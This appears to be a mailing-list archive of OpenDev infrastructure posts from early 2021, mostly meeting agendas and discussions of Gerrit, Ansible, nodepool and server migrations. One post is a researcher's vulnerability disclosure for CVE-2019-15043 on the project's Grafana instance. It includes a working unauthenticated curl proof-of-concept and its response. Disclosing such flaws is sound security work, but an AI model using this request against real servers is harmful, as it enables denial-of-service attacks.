by Clark Boylan 03 May '21

03 May '21

We will meet at 19:00 UTC in #opendev-meeting on May 4, 2021 with this agenda: == Agenda for next meeting == * Announcements ** Clark out during May 11 meeting time. Need a volunteer chair or can cancel that meeting. * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-… Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account inconsistencies **** All preferred emails lack external ids issues have been corrected. All group loops have been corrected. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** More "dangerous" list has been generated. Should still be safe-ish particularly if we disable the accounts first. *** Configuration tuning **** Reduce the number of ssh threads. Possibly create bot/batch user groups and thread counts as part of this. **** https://groups.google.com/g/repo-discuss/c/BQKxAfXBXuo Upstream conversation with people struggling with similar problems. *** Update our base job's nodeset **** https://review.opendev.org/789098 *** Gerrit global config simplification **** https://review.opendev.org/789383 * General topics ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210504) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Zuul service host updates in progress now. Zuul scheduler is last remaining server that needs an upgrade in the zuul cluster. ** openEuler patches (ianw 20210504) *** TC level, or being too officious ** InMotion Cloud reorganization (clarkb 20210504) *** Currently limited by number of IP addresses available *** We could deploy an executor in the cloud then set up test nodes without direct external access *** Any held nodes would need floating IPs attached to them to be accessible ** Removing registration requirement from our IRC channels (clarkb 20210504) *** TheJulia asks if we think this is still necessary. *** Looking at the last month or so of eavesdrop logs it seems we had ~1.5 spam attempts in the unregistered channel ** Switching artifact signing keys from RSA to ECC *** https://review.opendev.org/789062 * Open discussion

1 0

Team Meeting Agenda for April 27, 2021
by Clark Boylan 26 Apr '21

26 Apr '21

We will meet on April 27, 2021 at 19:00UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-… Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account inconsistencies **** All preferred emails lack external ids issues have been corrected. All group loops have been corrected. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** More "dangerous" list has been generated. Should still be safe-ish particularly if we disable the accounts first. *** Configuration tuning **** Reduce the number of ssh threads. Possibly create bot/batch user groups and thread counts as part of this. **** https://groups.google.com/g/repo-discuss/c/BQKxAfXBXuo Upstream conversation with people struggling with similar problems. * General topics ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210427) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Zuul service host updates in progress now. Scheduler and Zookeeper cluster remaining. Will focus on ZK first. **** https://etherpad.opendev.org/p/opendev-zookeeper-upgrade-2021 discussion of options for zk upgrades ** survey.openstack.org (clarkb 20210427) *** We're getting friendly reminders that this SSL cert is about to expire. Would be good to cleanup. ** Debian Bullseye Images (clarkb 20210427) *** Need some DIB updates to hack around Debian versioning and Ansible's factorizing of that info. ** Minor git-review release to support --no-thin (clarkb 202104027) * Open discussion

1 0

Debian bullsye image Ansible detection
by Ian Wienand 23 Apr '21

23 Apr '21

Hello, In short, Ansible reports "n/a" for ansible_distribution_release on our new bullseye nodes. This screws up our mirror setup. This has turned into quite an adventure. Currently, Debian is frozen to create the "bullseye" release. This means that "bullseye" is really an alias for "testing", that will turn into the release after the freeze period. So currently Debian bullseye reports itself in /etc/debian_version or /etc/os-release as "bullseye/sid". This sort of makes sense if you consider that you don't commit things to "testing" directly, they go into unstable ("sid") and then migrate after a period of stability. So you can't have "base-files" package in bullseye that hasn't gone through unstable/sid. You can read "bullseye/sid" as "we've chosen the name bullseye and packages going through unstable are destined for it". Now, you might see a problem in that "unstable" and "bullseye" (testing) now both report themselves in these version files as the same thing (because the unstable packages that provide them move into testing). "lsb_release -c" tries to be a bit smart about this, and looks at the output of "apt-cache policy" to try and see if you are actually pulling the .deb files from a bullseye repo or an unstable one. Interestingly, this relies on a "Label" being present in the mirror release files. Since we use reprepro to build our own mirrors, we do not have this (and why nobody else who doens't use our mirrors seems to notice this problem). A fix is proposed with https://review.opendev.org/c/opendev/system-config/+/787661 So "lsb_release -c" doesn't report anything, leaving Ansible in the dark as to what repo it uses. When "lsb_release -c" doesn't return anything helpful, Ansible tries to do it's own parsing of the release files. I started hacking on these, but the point raised in https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=845651 gave me pause. It is a fair point that you can not really know if you're on bullseye or sid by examining these files. N/A is probably actually the correct answer from Ansible's POV. Anyway, that is https://github.com/ianw/ansible/commit/847817a82ed86b5f39a4ccc3ffbff0e0cd63… Now, even more annoyingly, setting the label in our mirrors may not be sufficient for "lsb_release -c" to work on our images, because we have cleared out the apt repositories. You would need to run "apt-get update" before Ansible tries to run "lsb_release" to populate it's facts. Now the problem is that we're trying to use Ansible's fact about the distro name to setup apt to point to our mirrors -- so we can't apt-get update before we have that written out! Classic chicken and egg. The only other idea I have is to hack dib/early setup overwrite /etc/debian_version with "11.0" so that we look like the upcoming release has already been done. "lsb_release -c" will then report "bullsye". However, there is some possibility this will confuse other things, as this release technically hasn't been done. I've proposed that with https://review.opendev.org/c/openstack/diskimage-builder/+/787665 I'm open to suggestions! -i

3 4

Join OpenDev at the Project Teams Gathering
by Clark Boylan 13 Apr '21

13 Apr '21

The PTG is next week, and OpenDev is participating alongside the OpenStack TaCT SIG. We are going to try something a bit different this time around, which is to treat the time as office hours rather than time for our own projects. We will be meeting on April 22 from 14:00 - 16:00 UTC and 22:00 - 00:00 UTC in https://meetpad.opendev.org/apr2021-ptg-opendev. Join us if you would like to: * Start contributing to either OpenDev or the TaCT sig. * Debug a particular job problem. * Learn how to write and review Zuul jobs and related configs. * Learn about specific services or how they are deployed. * And anything else related to OpenDev and our project infrastructure. Feel free to add your topics and suggest preferred times for those topics here: https://etherpad.opendev.org/p/apr2021-ptg-opendev. This etherpad corresponds to the document that will be auto loaded in our meetpad room above. I will also be around next week and will try to keep a flexible schedule. Feel free to reach out if you would like us to join discussions as they happen. See you there, Clark

1 0

Team Meeting Agenda for April 13, 2021
by Clark Boylan 12 Apr '21

12 Apr '21

We will meet with this agenda on April 13, 2021 at 19:00 UTC in #opendev-meeting: == Agenda for next meeting == * Announcements ** OpenStack completing release April 14. Airship 2.0 doesn't seem to exist yet so will assume they are still working on it. * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-… Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit upgrade to 3.2.8 **** https://review.opendev.org/c/opendev/system-config/+/784152 *** Gerrit account inconsistencies **** All preferred emails lack external ids issues have been corrected. All group loops have been corrected. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** ~224 accounts were cleaned up. Next batch of ~56 has been started. Will clean their external IDs after letting the retired users sit for a few days. ***** Email sent to two Third Party CI groups about correcting external id conflicts among their accounts. These accounts will not be retired (for the most part). *** Configuration tuning **** Reduce the number of ssh threads. Possibly create bot/batch user groups and thread counts as part of this. **** https://groups.google.com/g/repo-discuss/c/BQKxAfXBXuo Upstream conversation with people struggling with similar problems. * General topics ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210413) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Zuul service host updates in progress now. Scheduler and Zookeeper cluster remaining. Will focus on ZK first. **** https://etherpad.opendev.org/p/opendev-zookeeper-upgrade-2021 discussion of options for zk upgrades ** planet.openstack.org (ianw 20210413) *** Strong preference from clarkb to retire it *** Superuser appears to be a major blog showing up there as well as a couple of others. Maybe we reach out to them and double check they don't want to help? (fungi and clarkb reached out to Superuser and they seem ok) ** survey.openstack.org (clarkb 20210413) *** Can we go ahead and clean this service up? I don't think it ever got much use (maybe one or two surveys total). ** docs-old volume cleanup (ianw 20210413) *** We were going to double check with Ajaeger if we can then proceed to cleanup if no one had a reason to keep it. ** PTG Planning (clarkb 20210413) *** Next PTG April 19-23 **** Thursday April 22 1400-1600UTC and 2200-0000UTC * Open discussion

1 0

Recent nodepool label changes
by James E. Blair 11 Apr '21

11 Apr '21

Hi, I recently spent some time trying to figure out why a job worked as expected during one run and then failed due to limited memory on the following run. It turns out that back in February this change was merged on an emergency basis, which caused us to start occasionally providing nodes with 32G of ram instead of the typical 8G: https://review.opendev.org/773710 Nodepool labels are designed to represent the combination of an image and set of resources. To the best of our ability, the images and resources they provide should be consistent across different cloud providers. That's why we use DIB to create consistent images and that's why we use "-expanded" labels to request nodes with additional memory. It's also the case that when we add new clouds, we generally try to benchmark performance and adjust flavors as needed. Unfortunately, providing such disparate resources under the same Nodepool labels makes it impossible for job authors to reliably design jobs. To be clear, it's fine to provide resources of varying size, we just need to use different Nodepool labels for them so that job authors get what they're asking for. The last time we were in this position, we updated our Nodepool images to add the mem= Linux kernel command line parameter in order to limit the total available RAM. I suspect that is still possible, but due to the explosion of images and flavors, doing so will be considerably more difficult this time. We now also have the ability to reboot nodes in jobs after they come online, but doing that would add additional run time for every job. I believe we need to address this. Despite the additional work, it seems like the "mem=" approach is our best bet; unless anyone has other ideas? -Jim

4 5

Next steps with new review server
by Ian Wienand 08 Apr '21

08 Apr '21

Hi, We have a large server provided by Vexxhost up and running in a staging capacity to replace the current server at review02.openstack.org. I have started to track some things at [1] There's a couple of things: 1) Production database Currently, we use a hosted db. Since NoteDB this only stores review seen flags. We've been told that other sites treat this data as ephemeral; they use a H2 db on disk and don't worry about backing up or restoring across upgrades. I have proposed storing this in a mariadb sibling container with [2]. We know how to admin, backup and restore that. That would be my preference, but I'm not terribly fussed. If I could request some reviews on that; I'll take +2's as a sign we should use a container, otherwise we can leave it with H2 it has now. 2) IPv6 issues We've seen a couple of cases that are looking increasingly like stray RA's are some how assigning extra addresses, similar to [1]. Our mirror in the same region has managed to acquire 50+ default routes somehow. It seems like inbound traffic keeps working (why we haven't seen issues with other production servers?). But I feel like it's a little bit troubling to have undiagnosed before we switch our major service to it. I'm running some tracing, trying to at least catch a stray RA while the server is quite, in the etherpad. But suggestions here are welcome. -i [1] https://etherpad.opendev.org/p/gerrit-upgrade-2021 [2] https://review.opendev.org/c/opendev/system-config/+/775961 [3] https://launchpad.net/bugs/1844712

3 4

Team Meeting Agenda for April 6, 2021
by Clark Boylan 05 Apr '21

05 Apr '21

We will meet with this agenda on April 6, 2021 at 19:00UTC in #opendev-meeting: == Agenda for next meeting == * Announcements ** OpenStack producing final RCs this week. Airship also working on a release. * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-… Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit upgrade to 3.2.8 **** https://review.opendev.org/c/opendev/system-config/+/784152 *** Gerrit account inconsistencies **** All preferred emails lack external ids issues have been corrected. All group loops have been corrected. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** Cleaning external IDs for the last batch of retired users. *** Configuration tuning **** Using strong refs for jgit caches **** Batch user groups and threads * General topics ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210406) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Zuul service host updates in progress now. Scheduler and Zookeeper cluster remaining. Will focus on ZK first. **** https://etherpad.opendev.org/p/opendev-zookeeper-upgrade-2021 discussion of options for zk upgrades ** PTG Planning (ianw 20210406) *** Next PTG April 19-23 *** Clarkb filled out the survey and requested a few hours for us. Likely to be spent in more office hours type setup. **** Thursday April 22 1400-1600UTC and 2200-0000UTC ** docs-old volume cleanup (ianw 20210406) *** We were going to double check with Ajaeger if we can then proceed to cleanup if no one had a reason to keep it. ** planet.openstack.org (ianw 20210406) *** Strong preference from clarkb to retire it *** Superuser appears to be a major blog showing up there as well as a couple of others. Maybe we reach out to them and double check they don't want to help? (fungi and clarkb reached out to Superuser and they seem ok. ** tarballs ORD replication (ianw 20210406) *** This has been done. Other than long initial sync is this happy day to day? * Open discussion

1 0

Team Meeting Agenda for March 30, 2021
by Clark Boylan 29 Mar '21

29 Mar '21

We will meet with this agenda March 30, 2021 in #opendev at 19:00UTC: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-… Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account inconsistencies **** https://etherpad.opendev.org/p/gerrit-user-consistency-2021 High level notes. **** All preferred emails lack external ids issues have been corrected. All group loops have been corrected. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** Review groups in review:~clarkb/gerrit_user_cleanups/notes.20210315 and determine if they can be safely cleaned up like previous groups. ***** https://review.opendev.org/c/opendev/system-config/+/780663 more user auditing improvements. *** Configuration tuning **** Using strong refs for jgit caches **** Batch user groups and threads * General topics ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210330) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Zuul service host updates in progress now. Scheduler and Zookeeper cluster remaining. Will focus on ZK first. ** Deploy a new refstack.openstack.org server (ianw 20210330) *** https://review.opendev.org/c/opendev/system-config/+/781593 ** PTG Planning (ianw 20210330) *** Next PTG April 19-23 *** Clarkb filled out the survey and requested a few hours for us. Likely to be spent in more office hours type setup. **** Thursday April 22 1400-1600UTC and 2200-0000UTC ** docs-old volume cleanup (ianw 20210330) *** anyone think this is necessary? *** docs-dev? ** planet.openstack.org (ianw 20210330) *** there is no maintained aggregators any more *** stick current venus/planet in a python 2.7 container and forget about it *** retire it ** tarballs ORD replication (ianw 20210330) *** only things across regions are docs & airship *** tarballs is probably the only other thing worth having a out-of-region copy for *** https://etherpad.opendev.org/p/gjzssFmxw48Nn3_SBVo6 * Open discussion

1 0

Retirement of the Openstack/Opendev Asterisk service
by Ian Wienand 23 Mar '21

23 Mar '21

Hello, As part of ongoing service upgrades, we are proposing the retirement of the Asterisk-based SIP/voice conferencing tool [1]. The meetpad instance at https://meetpad.opendev.org/ has proven popular for recent events and provides better services for collaborative meetings. Please reach out if this service is important to you. If it is something you would like to maintain, it will require porting to our current Ansible and container-based infrastructure (there will be plenty of admins happy to help guide you). Otherwise we'll propose changes to remove the configuration soon. Thanks, -i [1] https://docs.opendev.org/opendev/system-config/latest/asterisk.html

1 0

Team Meeting Agenda for March 23, 2021
by Ian Wienand 22 Mar '21

22 Mar '21

We will meet on March 16, 2021 at 19:00 UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-… Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account inconsistencies **** https://etherpad.opendev.org/p/gerrit-user-consistency-2021 High level notes. **** All preferred emails lack external ids issues have been corrected. All group loops have been corrected. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** Review groups in review:~clarkb/gerrit_user_cleanups/notes.20210315 and determine if they can be safely cleaned up like previous groups. ***** https://review.opendev.org/c/opendev/system-config/+/780663 more user auditing improvements. *** Configuration tuning **** Using strong refs for jgit caches **** Batch user groups and threads * General topics ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210316) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Zuul service host updates in progress now. Mergers, executors and launchers done. Only remaining is scheduler? ** Deploy a new refstack.openstack.org server (ianw 20210323) *** https://review.opendev.org/c/opendev/system-config/+/781593 ** PTG Planning (ianw 20210323) *** Next PTG April 19-23 *** Please let me know if you are interested so I can fill out the team survey (or not). * Open discussion

1 0

Team Meeting Agenda for March 16, 2021
by Clark Boylan 15 Mar '21

15 Mar '21

We will meet on March 16, 2021 at 19:00 UTC (note DST changes if you live in North America) in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements ** Clarkb out March 23. Ianw has volunteered to chair the meeting on the 23rd. ** DST change has happened in North America. EU and others follow in a few weeks. * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-… Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account inconsistencies **** https://etherpad.opendev.org/p/gerrit-user-consistency-2021 High level notes. **** All preferred emails lack external ids issues have been corrected. All group loops have been corrected. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** Review groups in review:~clarkb/gerrit_user_cleanups/notes.20210315 and determine if they can be safely cleaned up like previous groups. ***** https://review.opendev.org/c/opendev/system-config/+/780663 more user auditing improvements. *** Configuration tuning **** Using strong refs for jgit caches **** Batch user groups and threads * General topics ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210316) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Zuul service host updates in progress now. Mergers and executors done. Nodepool launchers in progress now. *** Ianw working on kerberos server updates. ** Deploy a new refstack.openstack.org server (kopecmartin 20210316) *** Ready for testing? ** PTG Planning (clarkb 20210316) *** Next PTG April 19-23 *** Please let me know if you are interested so I can fill out the team survey (or not). ** review server upgrade (ianw 20210316) *** Initial spec https://review.opendev.org/c/opendev/infra-specs/+/780478 * Open discussion

1 0

Team Meeting Agenda for March 9, 2021
by Clark Boylan 08 Mar '21

08 Mar '21

We will meet March 9, 2021 at 19:00 UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements ** Clarkb out March 23. Will need volunteer to run the meeting or we can skip it. ** DST change happens for those of us in North America this weekend. EU and others follow in a few weeks. * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-… Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account and group inconsistencies **** https://etherpad.opendev.org/p/gerrit-user-consistency-2021 High level notes. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** Identify accounts that cannot be used because they have no valid method of login (no username, and no openids) ***** Identify accounts that are unlikely to be used anymore based on activity and more forcefully retire those to fix these errors. (We can always undo specific updates to these accounts if necessary) ***** Work with remaining accounts to figure out how to best resolve the account conflicts. This may take some time. ***** https://review.opendev.org/c/opendev/system-config/+/777846 Collecting scripting efforts here ***** Inactive accounts have been cleaned up. *** Configuration tuning **** Using strong refs for jgit caches **** Batch user groups and threads * General topics ** OpenAFS cluster status (clarkb 20210309) *** Upgrading servers to Bionic then Focal next. *** New third db server for proper quorum. ** Bup and Borg Backups (clarkb 20210309) *** gitea sql db backup issues. ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210309) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Zuul service host updates in progress now. Mergers and executors largely done. Next up Nodepool launchers. ** Deploy a new refstack.openstack.org server (kopecmartin 20210309) *** Ready for testing? ** Bridge disk space (clarkb 20210309) *** This is related to stevedore caching entrypoints *** We have upgraded stevedore and set config to prevent it from creating new cache files. ** PTG Planning (clarkb 20210309) *** Next PTG April 19-23 *** Please let me know if you are interested so I can fill out the team survey (or not). * Open discussion

1 0

Can some projects configure auto addition of reviewers to changes?
by Sorin Sbarnea 05 Mar '21

05 Mar '21

As I observed that proposed changes can easily be ignored for months if the original submitter did not manually added anyone or missed to do the footwork of chasing cores on irc, I wonder if it would not be possible for *some* projects to enable a feature to auto-add reviewers. On the dark side of the world I seen the "codeowners <https://docs.github.com/en/github/creating-cloning-and-archiving-repositori…>" features being quite successful in assigning reviewers, as a simple file can define the pool of potential reviewers. Based on how the repository is configured it does randomly pick a limited number of candidates. Github mentions in their release notes from 2017 that their inspiration for that feature was the OWNERS file used by chromium team (gerrit users). I also seen that Wikimedia experimented something <https://phabricator.wikimedia.org/phame/live/1/post/139/gerrit_now_automati…> in that area, apparently there is a wiki page where people can mark them as available to be picked. The watched project feature in Gerrit is useless for this purpose as it does not randomly pick some of a pool of possible candidates. It may be practical to use if there are projects with only 2-3 core reviewers. There are two aspects I am looking to address, at least partially: A) Improve random external contributors first-contribution experience - right now, even if they propose a perfectly valid change, there is high chance it will not get noticed. As you can imagine this lowers the chance they would try again, or to become an active contributor. B) Spread the review burden on cores and avoid "punishing" those that are more active from being assaulted by review requests. The current secret source for getting reviews on a project where you do not know anyone involves looking at recent changes to spot people that did reviews or at least have core powers and try to contact those. Even if this works or not, it puts extra pressure on active people. That is why I would see an automatic round-robin approach more appropriate. As some may no longer be involved with the project, this could prove to be an opportunity to revise the core list, or to gently remove yourself from the list of cores. C) How to deter people from adding reviewers before CI jobs report green? I have no idea how to educate people not to add reviewers to changes that are not yet green. I know there are valid cases where this is needed, but likely is more like on less than one 1:5. As no hard limit would work, maybe there is a way to display some kind of message in the UI, advising user not to assign reviewers until CI reports green. The same issue applies even to automatic reviewer assignment, which should not happen right after a review is created. Ideally this should happen when it passed CI, but it could also be ok if it would happen when a review is moved from WIP to ready-for-review. I personally use a default where any change I create is marked as WIP and this default can also be changed at server level if we want. -- /zbr

3 2

Meeting Agenda for March 2, 2021
by Clark Boylan 01 Mar '21

01 Mar '21

We will meet on March 2, 2021 at 19:00 UTC in #opendev-meeting with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-… Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account and group inconsistencies **** https://etherpad.opendev.org/p/gerrit-user-consistency-2021 High level notes. **** We have 17 accounts with preferred email addresses that don't have a matching external id **** Need to correct the ~642 external id issues before we can push updates to refs/meta/external-ids with Gerrit online. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** Identify accounts that are inactive and can be more forcefully retired. Retire these to fix those errors. ***** Identify accounts that are unlikely to be used anymore based on activity and more forcefully retire those to fix these errors. (We can always undo specific updates to these accounts if necessary) ***** Work with remaining accounts to figure out how to best resolve the account conflicts. This may take some time. ***** https://review.opendev.org/c/opendev/system-config/+/777846 Collecting scripting efforts here *** Configuration tuning **** Using strong refs for jgit caches **** Batch user groups and threads * General topics ** OpenAFS cluster status (clarkb 20210302) *** Upgrading servers to Bionic then Focal next. *** New third db server for proper quorum. ** Bup and Borg Backups (clarkb 20210302) *** gitea sql db backup issues. ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210302) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Zuul service host updates in progress now. Mergers are done. Executors in progress. ** Deploy a new refstack.openstack.org server (kopecmartin 20210302) *** Ready for testing? ** Bridge disk space (clarkb 20210302) *** This appears at least partially related to ansible and python caching. Should we just clear those caches then profile them? * Open discussion

1 0

Critical Vulnerability Report
by Divya Singh 28 Feb '21

28 Feb '21

HEY SECURITY TEAM, I'm Security Researcher I have found a critical vulnerability at one of your domain that is cve-2019-15043 which can led to DDOS attack and can make system go down by grafana snapshot instance Vuln url: https://grafana.opendev.org/api/snapshots <https://grafana.quiknode.io/api/snapshots> POC: root@kali:/home/kali# curl -s XPOST https://grafana.opendev.org/api/snapshots -H "Accept: application/json" -H "Content-Type: application/json" -d '{"dashboard": {}}' | json_pp { "deleteKey" : "6mYFALwQmmpImHeKS30XtFw8ogmoHaSm", "deleteUrl" : " http://localhost:3000/api/snapshots-delete/6mYFALwQmmpImHeKS30XtFw8ogmoHaSm ", "key" : "91H6lcVrwiivMuW1H2iAKcUsZwYU2xfO", "url" : " http://localhost:3000/dashboard/snapshot/91H6lcVrwiivMuW1H2iAKcUsZwYU2xfO" } for more reference - https://aaron-hoffmann.com/blog/cve-2019-15043/ Fix it to latest grafana instance Best Regards, Divya Singh - @Dgirlwhohacks

3 7

Meeting Agenda for February 23, 2021
by Clark Boylan 22 Feb '21

22 Feb '21

We will meet with this agenda on February 23, 2021, at 19:00UTC in #opendev-meeting. == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-… Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account and group inconsistencies **** https://etherpad.opendev.org/p/gerrit-user-consistency-2021 High level notes. **** Group problems and 92 accounts with preferred emails missing external ids have been fixed. **** We have 17 accounts with preferred email addresses that don't have a matching external id **** We have ~642 accounts with conflicting emails in their external ids. This needs more investigating to better understand the fix for. **** Need to correct the ~642 external id issues before we can push updates to refs/meta/external-ids with Gerrit online. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** Classify users further into situation groups ***** Decide on next steps for users depending on their situation group. ***** Fix the preferred email issue if possible as this can be done with gerrit online ***** Start a refs/meta/external-ids checkout in a shared location and begin committing fixes to it. If we can't push all the fixes as separate commits we can squash them together and then push. ***** Fungi suggests we simply identify the active accounts then retire the rest for simplicity and speed. Clarkb likes this idea. ***** Could really use a second or third set of eyes to review my notes and decisions. Will help ensure that the next steps I've described for specific accounts are good. *** Configuration tuning **** Using strong refs for jgit caches **** Batch user groups and threads *** Gitea OOMs **** https://review.opendev.org/c/opendev/system-config/+/774023 Rate limiting framework change for haproxy. **** https://review.opendev.org/c/opendev/system-config/+/775051 Dstat stat gathering in our system-config-run jobs to measure relative performance impacts. * General topics ** OpenAFS cluster status (clarkb 20210223) *** Upgrading servers to Bionic then Focal next. ** Bup and Borg Backups (clarkb 20210223) *** wiki backup status *** borg disk consumption workarounds ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210223) *** Enable Xenial -> Bionic/Focal system upgrades *** https://etherpad.opendev.org/p/infra-puppet-conversions-and-xenial-upgrades Start capturing TODO list here *** Zuul service host updates in progress now. ** Deploy a new refstack.openstack.org server (kopecmartin 20210223) *** Ready for testing? ** Bridge disk space (clarkb 20210223) *** Our ansible logging is consuming a fair bit but user homedirs and /opt are other major consumers. * Open discussion

1 0

Meeting Agenda for February 16, 2021
by Clark Boylan 16 Feb '21

16 Feb '21

Hello, we will meet February 16, 2021 at 19:00UTC in #opendev-meeting on freenode with this agenda: == Agenda for next meeting == * Announcements * Actions from last meeting * Specs approval * Priority Efforts (Standing meeting agenda items. Please expand if you have subtopics.) ** [http://specs.openstack.org/openstack-infra/infra-specs/specs/update-config-… Update Config Management] *** topic:update-cfg-mgmt *** Zuul as CD engine ** OpenDev *** Gerrit account and group inconsistencies **** https://etherpad.opendev.org/p/gerrit-user-consistency-2021 High level notes. **** Group problems and 92 accounts with preferred emails missing external ids have been fixed. **** We have 17 accounts with preferred email addresses that don't have a matching external id **** We have ~642 accounts with conflicting emails in their external ids. This needs more investigating to better understand the fix for. **** Need to correct the ~642 external id issues before we can push updates to refs/meta/external-ids with Gerrit online. **** Workaround is we can stop Gerrit, push to external ids directly, reindex accounts (and groups?), start gerrit, then clear accounts caches (and groups caches?) **** Next steps ***** Classify users further into situation groups ***** Decide on next steps for users depending on their situation group. ***** Fix the preferred email issue if possible as this can be done with gerrit online ***** Start a refs/meta/external-ids checkout in a shared location and begin committing fixes to it. If we can't push all the fixes as separate commits we can squash them together and then push. ***** Could really use a second or third set of eyes to review my notes and decisions. Will help ensure that the next steps I've described for specific accounts are good. *** Gerrit 3.3.1 includes the fix for Zuul and Zuul has the fixes too. **** https://review.opendev.org/c/opendev/system-config/+/775287 **** https://review.opendev.org/c/opendev/system-config/+/773807 *** Configuration tuning **** Using strong refs for jgit caches **** Batch user groups and threads *** Gitea OOMs **** https://review.opendev.org/c/opendev/system-config/+/774023 Rate limiting framework change for haproxy. **** https://review.opendev.org/c/opendev/system-config/+/775051 Dstat stat gathering in our system-config-run jobs to measure relative performance impacts. * General topics ** OpenAFS cluster status (clarkb 20210216) *** What is server cluster status? Have they all been upgraded to 1.8.6? **** Upgrading servers to bionic then focal in place is next? ** Bup and Borg Backups (clarkb 20210216) *** wiki backup status *** borg disk consumption workarounds ** Picking up steam on Puppet -> Ansible rewrites (clarkb 20210216) *** Enable Xenial -> Bionic/Focal system upgrades *** 